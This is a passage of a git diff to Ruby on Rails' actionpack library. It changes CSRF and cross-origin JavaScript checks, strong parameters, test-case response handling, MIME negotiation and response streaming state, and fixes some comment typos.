+ if !verified_request?
+ if logger && log_warning_on_csrf_failure
+ logger.warn "Can't verify CSRF token authenticity"
+ end
+ handle_unverified_request
+ end
+ end
+
def handle_unverified_request
forgery_protection_strategy.new(self).handle_unverified_request
end
- # The actual before_action that is used. Modify this to change how you handle unverified requests.
- def verify_authenticity_token
- unless verified_request?
- logger.warn "Can't verify CSRF token authenticity" if logger
- handle_unverified_request
+ CROSS_ORIGIN_JAVASCRIPT_WARNING = "Security warning: an embedded " \
+ "<script> tag on another site requested protected JavaScript. " \
+ "If you know what you're doing, go ahead and disable forgery " \
+ "protection on this action to permit cross-origin JavaScript embedding."
+ private_constant :CROSS_ORIGIN_JAVASCRIPT_WARNING
+
+ # If `verify_authenticity_token` was run (indicating that we have
+ # forgery protection enabled for this request) then also verify that
+ # we aren't serving an unauthorized cross-origin response.
+ def verify_same_origin_request
+ if marked_for_same_origin_verification? && non_xhr_javascript_response?
+ logger.warn CROSS_ORIGIN_JAVASCRIPT_WARNING if logger
+ raise ActionController::InvalidCrossOriginRequest, CROSS_ORIGIN_JAVASCRIPT_WARNING
end
end
+ # GET requests are checked for cross-origin JavaScript after rendering.
+ def mark_for_same_origin_verification!
+ @marked_for_same_origin_verification = request.get?
+ end
+
+ # If the `verify_authenticity_token` before_action ran, verify that
+ # JavaScript responses are only served to same-origin GET requests.
+ def marked_for_same_origin_verification?
+ @marked_for_same_origin_verification ||= false
+ end
+
+ # Check for cross-origin JavaScript responses.
+ def non_xhr_javascript_response?
+ content_type =~ %r(\Atext/javascript) && !request.xhr?
+ end
+
# Returns true or false if a request is verified. Checks:
#
# * is it a GET or HEAD request? Gets should be safe and idempotent
diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb
index fd5b661209..5096558c67 100644
--- a/actionpack/lib/action_controller/metal/responder.rb
+++ b/actionpack/lib/action_controller/metal/responder.rb
@@ -22,7 +22,7 @@ module ActionController #:nodoc:
#
# 3) if the responder does not <code>respond_to :to_xml</code>, call <code>#to_format</code> on it.
#
- # === Builtin HTTP verb semantics
+ # === Built-in HTTP verb semantics
#
# The default \Rails responder holds semantics for each HTTP verb. Depending on the
# content type, verb and the resource status, it will behave differently.
@@ -144,7 +144,7 @@ module ActionController #:nodoc:
undef_method(:to_json) if method_defined?(:to_json)
undef_method(:to_yaml) if method_defined?(:to_yaml)
- # Initializes a new responder an invoke the proper format. If the format is
+ # Initializes a new responder and invokes the proper format. If the format is
# not defined, call to_format.
#
def self.call(*args)
@@ -202,6 +202,7 @@ module ActionController #:nodoc:
# This is the common behavior for formats associated with APIs, such as :xml and :json.
def api_behavior(error)
raise error unless resourceful?
+ raise MissingRenderer.new(format) unless has_renderer?
if get?
display resource
@@ -269,6 +270,11 @@ module ActionController #:nodoc:
resource.respond_to?(:errors) && !resource.errors.empty?
end
+ # Check whether the necessary Renderer is available
+ def has_renderer?
+ Renderers::RENDERERS.include?(format)
+ end
+
# By default, render the <code>:edit</code> action for HTML requests with errors, unless
# the verb was POST.
#
diff --git a/actionpack/lib/action_controller/metal/streaming.rb b/actionpack/lib/action_controller/metal/streaming.rb
index 73e9b5660d..62d5931b45 100644
--- a/actionpack/lib/action_controller/metal/streaming.rb
+++ b/actionpack/lib/action_controller/metal/streaming.rb
@@ -193,31 +193,29 @@ module ActionController #:nodoc:
module Streaming
extend ActiveSupport::Concern
- include AbstractController::Rendering
-
protected
- # Set proper cache control and transfer encoding when streaming
- def _process_options(options) #:nodoc:
- super
- if options[:stream]
- if env["HTTP_VERSION"] == "HTTP/1.0"
- options.delete(:stream)
- else
- headers["Cache-Control"] ||= "no-cache"
- headers["Transfer-Encoding"] = "chunked"
- headers.delete("Content-Length")
+ # Set proper cache control and transfer encoding when streaming
+ def _process_options(options) #:nodoc:
+ super
+ if options[:stream]
+ if env["HTTP_VERSION"] == "HTTP/1.0"
+ options.delete(:stream)
+ else
+ headers["Cache-Control"] ||= "no-cache"
+ headers["Transfer-Encoding"] = "chunked"
+ headers.delete("Content-Length")
+ end
end
end
- end
- # Call render_body if we are streaming instead of usual +render+.
- def _render_template(options) #:nodoc:
- if options.delete(:stream)
- Rack::Chunked::Body.new view_renderer.render_body(view_context, options)
- else
- super
+ # Call render_body if we are streaming instead of usual +render+.
+ def _render_template(options) #:nodoc:
+ if options.delete(:stream)
+ Rack::Chunked::Body.new view_renderer.render_body(view_context, options)
+ else
+ super
+ end
end
- end
end
end
diff --git a/actionpack/lib/action_controller/metal/strong_parameters.rb b/actionpack/lib/action_controller/metal/strong_parameters.rb
index 44703221f3..d86d49c9dc 100644
--- a/actionpack/lib/action_controller/metal/strong_parameters.rb
+++ b/actionpack/lib/action_controller/metal/strong_parameters.rb
@@ -3,6 +3,7 @@ require 'active_support/core_ext/array/wrap'
require 'active_support/rescuable'
require 'action_dispatch/http/upload'
require 'stringio'
+require 'set'
module ActionController
# Raised when a required parameter is missing.
@@ -17,7 +18,7 @@ module ActionController
def initialize(param) # :nodoc:
@param = param
- super("param not found: #{param}")
+ super("param is missing or the value is empty: #{param}")
end
end
@@ -31,7 +32,7 @@ module ActionController
def initialize(params) # :nodoc:
@params = params
- super("found unpermitted parameters: #{params.join(", ")}")
+ super("found unpermitted parameter#{'s' if params.size > 1 }: #{params.join(", ")}")
end
end
@@ -125,6 +126,13 @@ module ActionController
@permitted = self.class.permit_all_parameters
end
+ # Attribute that keeps track of converted arrays, if any, to avoid double
+ # looping in the common use case permit + mass-assignment. Defined in a
+ # method to instantiate it only if needed.
+ def converted_arrays
+ @converted_arrays ||= Set.new
+ end
+
# Returns +true+ if the parameter is permitted, +false+ otherwise.
#
# params = ActionController::Parameters.new
@@ -149,8 +157,10 @@ module ActionController
# Person.new(params) # => #<Person id: nil, name: "Francesco">
def permit!
each_pair do |key, value|
- convert_hashes_to_parameters(key, value)
- self[key].permit! if self[key].respond_to? :permit!
+ value = convert_hashes_to_parameters(key, value)
+ Array.wrap(value).each do |_|
+ _.permit! if _.respond_to? :permit!
+ end
end
@permitted = true
@@ -201,6 +211,7 @@ module ActionController
# You may declare that the parameter should be an array of permitted scalars
# by mapping it to an empty array:
#
+ # params = ActionController::Parameters.new(tags: ['rails', 'parameters'])
# params.permit(tags: [])
#
# You can also use +permit+ on nested parameters, like:
@@ -283,7 +294,7 @@ module ActionController
# params.fetch(:none, 'Francesco') # => "Francesco"
# params.fetch(:none) { 'Francesco' } # => "Francesco"
def fetch(key, *args)
- convert_hashes_to_parameters(key, super)
+ convert_hashes_to_parameters(key, super, false)
rescue KeyError
raise ActionController::ParameterMissing.new(key)
end
@@ -297,7 +308,7 @@ module ActionController
# params.slice(:d) # => {}
def slice(*keys)
self.class.new(super).tap do |new_instance|
- new_instance.instance_variable_set :@permitted, @permitted
+ new_instance.permitted = @permitted
end
end
@@ -311,24 +322,38 @@ module ActionController
# copy_params.permitted? # => true
def dup
super.tap do |duplicate|
- duplicate.instance_variable_set :@permitted, @permitted
+ duplicate.permitted = @permitted
end
end
+ protected
+ def permitted=(new_permitted)
+ @permitted = new_permitted
+ end
+
private
- def convert_hashes_to_parameters(key, value)
- if value.is_a?(Parameters) || !value.is_a?(Hash)
+ def convert_hashes_to_parameters(key, value, assign_if_converted=true)
+ converted = convert_value_to_parameters(value)
+ self[key] = converted if assign_if_converted && !converted.equal?(value)
+ converted
+ end
+
+ def convert_value_to_parameters(value)
+ if value.is_a?(Array) && !converted_arrays.member?(value)
+ converted = value.map { |_| convert_value_to_parameters(_) }
+ converted_arrays << converted
+ converted
+ elsif value.is_a?(Parameters) || !value.is_a?(Hash)
value
else
- # Convert to Parameters on first access
- self[key] = self.class.new(value)
+ self.class.new(value)
end
end
def each_element(object)
if object.is_a?(Array)
object.map { |el| yield el }.compact
- elsif object.is_a?(Hash) && object.keys.all? { |k| k =~ /\A-?\d+\z/ }
+ elsif fields_for_style?(object)
hash = object.class.new
object.each { |k,v| hash[k] = yield v }
hash
@@ -337,6 +362,10 @@ module ActionController
end
end
+ def fields_for_style?(object)
+ object.is_a?(Hash) && object.all? { |k, v| k =~ /\A-?\d+\z/ && v.is_a?(Hash) }
+ end
+
def unpermitted_parameters!(params)
unpermitted_keys = unpermitted_keys(params)
if unpermitted_keys.any?
@@ -415,7 +444,7 @@ module ActionController
# Slicing filters out non-declared keys.
slice(*filter.keys).each do |key, value|
- return unless value
+ next unless value
if filter[key] == EMPTY_ARRAY
# Declaration { comment_ids: [] }.
@@ -473,7 +502,7 @@ module ActionController
# end
# end
#
- # In order to use <tt>accepts_nested_attribute_for</tt> with Strong \Parameters, you
+ # In order to use <tt>accepts_nested_attributes_for</tt> with Strong \Parameters, you
# will need to specify which nested attributes should be whitelisted.
#
# class Person
diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb
index 0377b8c4cf..dd8da4b5dc 100644
--- a/actionpack/lib/action_controller/metal/testing.rb
+++ b/actionpack/lib/action_controller/metal/testing.rb
@@ -17,7 +17,6 @@ module ActionController
def recycle!
@_url_options = nil
- self.response_body = nil
self.formats = nil
self.params = nil
end
diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb
index 754249cbc8..37d4a96ee1 100644
--- a/actionpack/lib/action_controller/metal/url_for.rb
+++ b/actionpack/lib/action_controller/metal/url_for.rb
@@ -30,9 +30,9 @@ module ActionController
:_recall => request.symbolized_path_parameters
).freeze
- if (same_origin = _routes.equal?(env["action_dispatch.routes"])) ||
+ if (same_origin = _routes.equal?(env["action_dispatch.routes".freeze])) ||
(script_name = env["ROUTES_#{_routes.object_id}_SCRIPT_NAME"]) ||
- (original_script_name = env['ORIGINAL_SCRIPT_NAME'])
+ (original_script_name = env['ORIGINAL_SCRIPT_NAME'.freeze])
@_url_options.dup.tap do |options|
if original_script_name
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
index 5379547c57..a2fc814221 100644
--- a/actionpack/lib/action_controller/railtie.rb
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -1,9 +1,9 @@
require "rails"
require "action_controller"
require "action_dispatch/railtie"
-require "action_view/railtie"
require "abstract_controller/railties/routes_helpers"
require "action_controller/railties/helpers"
+require "action_view/railtie"
module ActionController
class Railtie < Rails::Railtie #:nodoc:
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
index 5ed3d2ebc1..c6a8f581de 100644
--- a/actionpack/lib/action_controller/test_case.rb
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -17,8 +17,9 @@ module ActionController
@_templates = Hash.new(0)
@_layouts = Hash.new(0)
@_files = Hash.new(0)
+ @_subscribers = []
- ActiveSupport::Notifications.subscribe("render_template.action_view") do |_name, _start, _finish, _id, payload|
+ @_subscribers << ActiveSupport::Notifications.subscribe("render_template.action_view") do |_name, _start, _finish, _id, payload|
path = payload[:layout]
if path
@_layouts[path] += 1
@@ -28,7 +29,7 @@ module ActionController
end
end
- ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload|
+ @_subscribers << ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload|
path = payload[:virtual_path]
next unless path
partial = path =~ /^.*\/_[^\/]*$/
@@ -41,7 +42,7 @@ module ActionController
@_templates[path] += 1
end
- ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload|
+ @_subscribers << ActiveSupport::Notifications.subscribe("!render_template.action_view") do |_name, _start, _finish, _id, payload|
next if payload[:virtual_path] # files don't have virtual path
path = payload[:identifier]
@@ -53,8 +54,9 @@ module ActionController
end
def teardown_subscriptions
- ActiveSupport::Notifications.unsubscribe("render_template.action_view")
- ActiveSupport::Notifications.unsubscribe("!render_template.action_view")
+ @_subscribers.each do |subscriber|
+ ActiveSupport::Notifications.unsubscribe(subscriber)
+ end
end
def process(*args)
@@ -213,6 +215,9 @@ module ActionController
# Clear the combined params hash in case it was already referenced.
@env.delete("action_dispatch.request.parameters")
+ # Clear the filter cache variables so they're not stale
+ @filtered_parameters = @filtered_env = @filtered_path = nil
+
params = self.request_parameters.dup
%w(controller action only_path).each do |k|
params.delete(k)
@@ -255,6 +260,29 @@ module ActionController
end
end
+ class LiveTestResponse < Live::Response
+ def recycle!
+ @body = nil
+ initialize
+ end
+
+ def body
+ @body ||= super
+ end
+
+ # Was the response successful?
+ alias_method :success?, :successful?
+
+ # Was the URL not found?
+ alias_method :missing?, :not_found?
+
+ # Were we redirected?
+ alias_method :redirect?, :redirection?
+
+ # Was there a server-side error?
+ alias_method :error?, :server_error?
+ end
+
# Methods #destroy and #load! are overridden to avoid calling methods on the
# @store object, which does not exist for the TestSession class.
class TestSession < Rack::Session::Abstract::SessionHash #:nodoc:
@@ -460,8 +488,8 @@ module ActionController
# - +session+: A hash of parameters to store in the session. This may be +nil+.
# - +flash+: A hash of parameters to store in the flash. This may be +nil+.
#
- # You can also simulate POST, PATCH, PUT, DELETE, HEAD, and OPTIONS requests with
- # +post+, +patch+, +put+, +delete+, +head+, and +options+.
+ # You can also simulate POST, PATCH, PUT, DELETE, and HEAD requests with
+ # +post+, +patch+, +put+, +delete+, and +head+.
#
# Note that the request method is not verified. The different methods are
# available to make the tests more expressive.
@@ -522,6 +550,31 @@ module ActionController
end
end
+ # Simulate a HTTP request to +action+ by specifying request method,
+ # parameters and set/volley the response.
+ #
+ # - +action+: The controller action to call.
+ # - +http_method+: Request method used to send the http request. Possible values
+ # are +GET+, +POST+, +PATCH+, +PUT+, +DELETE+, +HEAD+. Defaults to +GET+.
+ # - +parameters+: The HTTP parameters. This may be +nil+, a hash, or a
+ # string that is appropriately encoded (+application/x-www-form-urlencoded+
+ # or +multipart/form-data+).
+ # - +session+: A hash of parameters to store in the session. This may be +nil+.
+ # - +flash+: A hash of parameters to store in the flash. This may be +nil+.
+ #
+ # Example calling +create+ action and sending two params:
+ #
+ # process :create, 'POST', user: { name: 'Gaurish Sharma', email: 'user@example.com' }
+ #
+ # Example sending parameters, +nil+ session and setting a flash message:
+ #
+ # process :view, 'GET', { id: 7 }, nil, { notice: 'This is flash message' }
+ #
+ # To simulate +GET+, +POST+, +PATCH+, +PUT+, +DELETE+ and +HEAD+ requests
+ # prefer using #get, #post, #patch, #put, #delete and #head methods
+ # respectively which will make tests more expressive.
+ #
+ # Note that the request method is not verified.
def process(action, http_method = 'GET', *args)
check_required_ivars
@@ -565,10 +618,13 @@ module ActionController
name = @request.parameters[:action]
+ @controller.recycle!
@controller.process(name)
if cookies = @request.env['action_dispatch.cookies']
- cookies.write(@response)
+ unless @response.committed?
+ cookies.write(@response)
+ end
end
@response.prepare!
@@ -579,13 +635,14 @@ module ActionController
end
def setup_controller_request_and_response
- @request = build_request
- @response = build_response
- @response.request = @request
-
@controller = nil unless defined? @controller
+ response_klass = TestResponse
+
if klass = self.class.controller_class
+ if klass < ActionController::Live
+ response_klass = LiveTestResponse
+ end
unless @controller
begin
@controller = klass.new
@@ -595,6 +652,10 @@ module ActionController
end
end
+ @request = build_request
+ @response = build_response response_klass
+ @response.request = @request
+
if @controller
@controller.request = @request
@controller.params = {}
@@ -605,8 +666,8 @@ module ActionController
TestRequest.new
end
- def build_response
- TestResponse.new
+ def build_response(klass)
+ klass.new
end
included do
diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb
index 24a3d4741e..11b5e6be33 100644
--- a/actionpack/lib/action_dispatch.rb
+++ b/actionpack/lib/action_dispatch.rb
@@ -1,5 +1,5 @@
#--
-# Copyright (c) 2004-2013 David Heinemeier Hansson
+# Copyright (c) 2004-2014 David Heinemeier Hansson
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
@@ -52,7 +52,6 @@ module ActionDispatch
autoload :DebugExceptions
autoload :ExceptionWrapper
autoload :Flash
- autoload :Head
autoload :ParamsParser
autoload :PublicExceptions
autoload :Reloader
@@ -74,18 +73,16 @@ module ActionDispatch
autoload :MimeNegotiation
autoload :Parameters
autoload :ParameterFilter
- autoload :FilterParameters
- autoload :FilterRedirect
autoload :Upload
autoload :UploadedFile, 'action_dispatch/http/upload'
autoload :URL
end
module Session
- autoload :AbstractStore, 'action_dispatch/middleware/session/abstract_store'
- autoload :CookieStore, 'action_dispatch/middleware/session/cookie_store'
- autoload :MemCacheStore, 'action_dispatch/middleware/session/mem_cache_store'
- autoload :CacheStore, 'action_dispatch/middleware/session/cache_store'
+ autoload :AbstractStore, 'action_dispatch/middleware/session/abstract_store'
+ autoload :CookieStore, 'action_dispatch/middleware/session/cookie_store'
+ autoload :MemCacheStore, 'action_dispatch/middleware/session/mem_cache_store'
+ autoload :CacheStore, 'action_dispatch/middleware/session/cache_store'
end
mattr_accessor :test_app
diff --git a/actionpack/lib/action_dispatch/http/filter_parameters.rb b/actionpack/lib/action_dispatch/http/filter_parameters.rb
index 289e204ac8..2b851cc28d 100644
--- a/actionpack/lib/action_dispatch/http/filter_parameters.rb
+++ b/actionpack/lib/action_dispatch/http/filter_parameters.rb
@@ -6,8 +6,8 @@ module ActionDispatch
module Http
# Allows you to specify sensitive parameters which will be replaced from
# the request log by looking in the query string of the request and all
- # subhashes of the params hash to filter. If a block is given, each key and
- # value of the params hash and all subhashes is passed to it, the value
+ # sub-hashes of the params hash to filter. If a block is given, each key and
+ # value of the params hash and all sub-hashes is passed to it, the value
# or key can be replaced using String#replace or similar method.
#
# env["action_dispatch.parameter_filter"] = [:password]
diff --git a/actionpack/lib/action_dispatch/http/filter_redirect.rb b/actionpack/lib/action_dispatch/http/filter_redirect.rb
index 900ce1c646..cd603649c3 100644
--- a/actionpack/lib/action_dispatch/http/filter_redirect.rb
+++ b/actionpack/lib/action_dispatch/http/filter_redirect.rb
@@ -5,7 +5,8 @@ module ActionDispatch
FILTERED = '[FILTERED]'.freeze # :nodoc:
def filtered_location
- if !location_filter.empty? && location_filter_match?
+ filters = location_filter
+ if !filters.empty? && location_filter_match?(filters)
FILTERED
else
location
@@ -15,15 +16,15 @@ module ActionDispatch
private
def location_filter
- if request.present?
+ if request
request.env['action_dispatch.redirect_filter'] || []
else
[]
end
end
- def location_filter_match?
- location_filter.any? do |filter|
+ def location_filter_match?(filters)
+ filters.any? do |filter|
if String === filter
location.include?(filter)
elsif Regexp === filter
diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
index 40bb060d52..0b2b60d2e4 100644
--- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb
+++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb
@@ -10,6 +10,8 @@ module ActionDispatch
self.ignore_accept_header = false
end
+ attr_reader :variant
+
# The MIME type of the HTTP request, such as Mime::XML.
#
# For backward compatibility, the post \format is extracted from the
@@ -48,7 +50,7 @@ module ActionDispatch
# GET /posts/5 | request.format => Mime::HTML or MIME::JS, or request.accepts.first
#
def format(view_path = [])
- formats.first
+ formats.first || Mime::NullType.instance
end
def formats
@@ -64,6 +66,20 @@ module ActionDispatch
end
end
+ # Sets the \variant for template.
+ def variant=(variant)
+ if variant.is_a?(Symbol)
+ @variant = [variant]
+ elsif variant.is_a?(Array) && variant.any? && variant.all?{ |v| v.is_a?(Symbol) }
+ @variant = variant
+ else
+ raise ArgumentError, "request.variant must be set to a Symbol or an Array of Symbols, not a #{variant.class}. " \
+ "For security reasons, never directly set the variant to a user-provided value, " \
+ "like params[:variant].to_sym. Check user-provided value against a whitelist first, " \
+ "then set the variant: request.variant = :tablet if params[:variant] == 'tablet'"
+ end
+ end
+
# Sets the \format by string extension, which can be used to force custom formats
# that are not controlled by the extension.
#
@@ -113,7 +129,7 @@ module ActionDispatch
end
end
- order.include?(Mime::ALL) ? formats.first : nil
+ order.include?(Mime::ALL) ? format : nil
end
protected
diff --git a/actionpack/lib/action_dispatch/http/mime_type.rb b/actionpack/lib/action_dispatch/http/mime_type.rb
index ef144c3c76..9450be838c 100644
--- a/actionpack/lib/action_dispatch/http/mime_type.rb
+++ b/actionpack/lib/action_dispatch/http/mime_type.rb
@@ -1,5 +1,6 @@
require 'set'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'singleton'
+require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/string/starts_ends_with'
module Mime
@@ -27,7 +28,7 @@ module Mime
class << self
def [](type)
return type if type.is_a?(Type)
- Type.lookup_by_extension(type) || NullType.new
+ Type.lookup_by_extension(type)
end
def fetch(type)
@@ -173,7 +174,7 @@ module Mime
end
def parse(accept_header)
- if accept_header !~ /,/
+ if !accept_header.include?(',')
accept_header = accept_header.split(PARAMETER_SEPARATOR_REGEXP).first
parse_trailing_star(accept_header) || [Mime::Type.lookup(accept_header)].compact
else
@@ -292,13 +293,13 @@ module Mime
end
class NullType
+ include Singleton
+
def nil?
true
end
- def ref
- nil
- end
+ def ref; end
def respond_to_missing?(method, include_private = false)
method.to_s.ends_with? '?'
diff --git a/actionpack/lib/action_dispatch/http/mime_types.rb b/actionpack/lib/action_dispatch/http/mime_types.rb
index a6b3aee5e7..0e4da36038 100644
--- a/actionpack/lib/action_dispatch/http/mime_types.rb
+++ b/actionpack/lib/action_dispatch/http/mime_types.rb
@@ -7,6 +7,7 @@ Mime::Type.register "text/javascript", :js, %w( application/javascript applicati
Mime::Type.register "text/css", :css
Mime::Type.register "text/calendar", :ics
Mime::Type.register "text/csv", :csv
+Mime::Type.register "text/vcard", :vcf
Mime::Type.register "image/png", :png, [], %w(png)
Mime::Type.register "image/jpeg", :jpeg, [], %w(jpg jpeg jpe pjpeg)
diff --git a/actionpack/lib/action_dispatch/http/parameters.rb b/actionpack/lib/action_dispatch/http/parameters.rb
index 8e992070f1..dcb299ed03 100644
--- a/actionpack/lib/action_dispatch/http/parameters.rb
+++ b/actionpack/lib/action_dispatch/http/parameters.rb
@@ -57,22 +57,25 @@ module ActionDispatch
# you'll get a weird error down the road, but our form handling
# should really prevent that from happening
def normalize_encode_params(params)
- if params.is_a?(String)
- return params.force_encoding(Encoding::UTF_8).encode!
- elsif !params.is_a?(Hash)
- return params
- end
-
- new_hash = {}
- params.each do |key, val|
- new_key = key.is_a?(String) ? key.dup.force_encoding(Encoding::UTF_8).encode! : key
- new_hash[new_key] = if val.is_a?(Array)
- val.map! { |el| normalize_encode_params(el) }
+ case params
+ when String
+ params.force_encoding(Encoding::UTF_8).encode!
+ when Hash
+ if params.has_key?(:tempfile)
+ UploadedFile.new(params)
else
- normalize_encode_params(val)
+ params.each_with_object({}) do |(key, val), new_hash|
+ new_key = key.is_a?(String) ? key.dup.force_encoding(Encoding::UTF_8).encode! : key
+ new_hash[new_key] = if val.is_a?(Array)
+ val.map! { |el| normalize_encode_params(el) }
+ else
+ normalize_encode_params(val)
+ end
+ end.with_indifferent_access
end
+ else
+ params
end
- new_hash.with_indifferent_access
end
end
end
diff --git a/actionpack/lib/action_dispatch/http/request.rb b/actionpack/lib/action_dispatch/http/request.rb
index 4ca1d35489..daa06e96e6 100644
--- a/actionpack/lib/action_dispatch/http/request.rb
+++ b/actionpack/lib/action_dispatch/http/request.rb
@@ -18,7 +18,6 @@ module ActionDispatch
include ActionDispatch::Http::MimeNegotiation
include ActionDispatch::Http::Parameters
include ActionDispatch::Http::FilterParameters
- include ActionDispatch::Http::Upload
include ActionDispatch::Http::URL
autoload :Session, 'action_dispatch/request/session'
@@ -153,6 +152,13 @@ module ActionDispatch
Http::Headers.new(@env)
end
+ # Returns a +String+ with the last requested path including their params.
+ #
+ # # get '/foo'
+ # request.original_fullpath # => '/foo'
+ #
+ # # get '/foo?bar'
+ # request.original_fullpath # => '/foo?bar'
def original_fullpath
@original_fullpath ||= (env["ORIGINAL_FULLPATH"] || fullpath)
end
@@ -226,7 +232,7 @@ module ActionDispatch
def raw_post
unless @env.include? 'RAW_POST_DATA'
raw_post_body = body
- @env['RAW_POST_DATA'] = raw_post_body.read(@env['CONTENT_LENGTH'].to_i)
+ @env['RAW_POST_DATA'] = raw_post_body.read(content_length)
raw_post_body.rewind if raw_post_body.respond_to?(:rewind)
end
@env['RAW_POST_DATA']
@@ -272,7 +278,7 @@ module ActionDispatch
# Override Rack's GET method to support indifferent access
def GET
- @env["action_dispatch.request.query_parameters"] ||= (normalize_encode_params(super) || {})
+ @env["action_dispatch.request.query_parameters"] ||= Utils.deep_munge((normalize_encode_params(super) || {}))
rescue TypeError => e
raise ActionController::BadRequest.new(:query, e)
end
@@ -280,7 +286,7 @@ module ActionDispatch
# Override Rack's POST method to support indifferent access
def POST
- @env["action_dispatch.request.request_parameters"] ||= (normalize_encode_params(super) || {})
+ @env["action_dispatch.request.request_parameters"] ||= Utils.deep_munge((normalize_encode_params(super) || {}))
rescue TypeError => e
raise ActionController::BadRequest.new(:request, e)
end
@@ -300,17 +306,24 @@ module ActionDispatch
LOCALHOST =~ remote_addr && LOCALHOST =~ remote_ip
end
- protected
+ # Extracted into ActionDispatch::Request::Utils.deep_munge, but kept here for backwards compatibility.
+ def deep_munge(hash)
+ ActiveSupport::Deprecation.warn(
+ "This method has been extracted into ActionDispatch::Request::Utils.deep_munge. Please start using that instead."
+ )
- def parse_query(qs)
- Utils.deep_munge(super)
+ Utils.deep_munge(hash)
end
- private
+ protected
+ def parse_query(qs)
+ Utils.deep_munge(super)
+ end
- def check_method(name)
- HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}")
- name
- end
+ private
+ def check_method(name)
+ HTTP_METHOD_LOOKUP[name] || raise(ActionController::UnknownHttpMethod, "#{name}, accepted HTTP methods are #{HTTP_METHODS.to_sentence(:locale => :en)}")
+ name
+ end
end
end
diff --git a/actionpack/lib/action_dispatch/http/response.rb b/actionpack/lib/action_dispatch/http/response.rb
index 5697282791..3d27ff2b24 100644
--- a/actionpack/lib/action_dispatch/http/response.rb
+++ b/actionpack/lib/action_dispatch/http/response.rb
@@ -1,4 +1,5 @@
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/module/attribute_accessors'
+require 'action_dispatch/http/filter_redirect'
require 'monitor'
module ActionDispatch # :nodoc:
@@ -41,7 +42,7 @@ module ActionDispatch # :nodoc:
# Get and set headers for this response.
attr_accessor :header
-
+
alias_method :headers=, :header=
alias_method :headers, :header
@@ -90,7 +91,10 @@ module ActionDispatch # :nodoc:
end
def each(&block)
- @buf.each(&block)
+ @response.sending!
+ x = @buf.each(&block)
+ @response.sent!
+ x
end
def close
@@ -117,6 +121,8 @@ module ActionDispatch # :nodoc:
@blank = false
@cv = new_cond
@committed = false
+ @sending = false
+ @sent = false
@content_type = nil
@charset = nil
@@ -137,17 +143,37 @@ module ActionDispatch # :nodoc:
end
end
+ def await_sent
+ synchronize { @cv.wait_until { @sent } }
+ end
+
def commit!
synchronize do
+ before_committed
@committed = true
@cv.broadcast
end
end
- def committed?
- @committed
+ def sending!
+ synchronize do
+ before_sending
+ @sending = true
+ @cv.broadcast
+ end
end
+ def sent!
+ synchronize do
+ @sent = true
+ @cv.broadcast
+ end
+ end
+
+ def sending?; synchronize { @sending }; end
+ def committed?; synchronize { @committed }; end
+ def sent?; synchronize { @sent }; end
+
# Sets the HTTP status code.
def status=(status)
@status = Rack::Utils.status_code(status)
@@ -181,9 +207,9 @@ module ActionDispatch # :nodoc:
end
alias_method :status_message, :message
- def respond_to?(method)
+ def respond_to?(method, include_private = false)
if method.to_s == 'to_path'
- stream.respond_to?(:to_path)
+ stream.respond_to?(method)
else
super
end
@@ -210,7 +236,9 @@ module ActionDispatch # :nodoc:
if body.respond_to?(:to_path)
@stream = body
else
- @stream = build_buffer self, munge_body_object(body)
+ synchronize do
+ @stream = build_buffer self, munge_body_object(body)
+ end
end
end
@@ -270,6 +298,12 @@ module ActionDispatch # :nodoc:
private
+ def before_committed
+ end
+
+ def before_sending
+ end
+
def merge_default_headers(original, default)
return original unless default.respond_to?(:merge)
@@ -310,7 +344,7 @@ module ActionDispatch # :nodoc:
header.delete CONTENT_TYPE
[status, header, []]
else
- [status, header, self]
+ [status, header, Rack::BodyProxy.new(self){}]
end
end
end
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
index b57c84dec8..45bf751d09 100644
--- a/actionpack/lib/action_dispatch/http/upload.rb
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -18,6 +18,7 @@ module ActionDispatch
# A +Tempfile+ object with the actual uploaded file. Note that some of
# its interface is available directly.
attr_accessor :tempfile
+ alias :to_io :tempfile
# A string with the headers of the multipart request.
attr_accessor :headers
@@ -73,18 +74,5 @@ module ActionDispatch
filename.force_encoding(Encoding::UTF_8).encode! if filename
end
end
-
- module Upload # :nodoc:
- # Replace file upload hash with UploadedFile objects
- # when normalize and encode parameters.
- def normalize_encode_params(value)
- if Hash === value && value.has_key?(:tempfile)
- UploadedFile.new(value)
- else
- super
- end
- end
- private :normalize_encode_params
- end
end
end
diff --git a/actionpack/lib/action_dispatch/journey/formatter.rb b/actionpack/lib/action_dispatch/journey/formatter.rb
index e288f026c7..57f0963731 100644
--- a/actionpack/lib/action_dispatch/journey/formatter.rb
+++ b/actionpack/lib/action_dispatch/journey/formatter.rb
@@ -18,7 +18,11 @@ module ActionDispatch
match_route(name, constraints) do |route|
parameterized_parts = extract_parameterized_parts(route, options, recall, parameterize)
- next if !name && route.requirements.empty? && route.parts.empty?
+
+ # Skip this route unless a name has been provided or it is a
+ # standard Rails route since we can't determine whether an options
+ # hash passed to url_for matches a Rack application or a redirect.
+ next unless name || route.dispatcher?
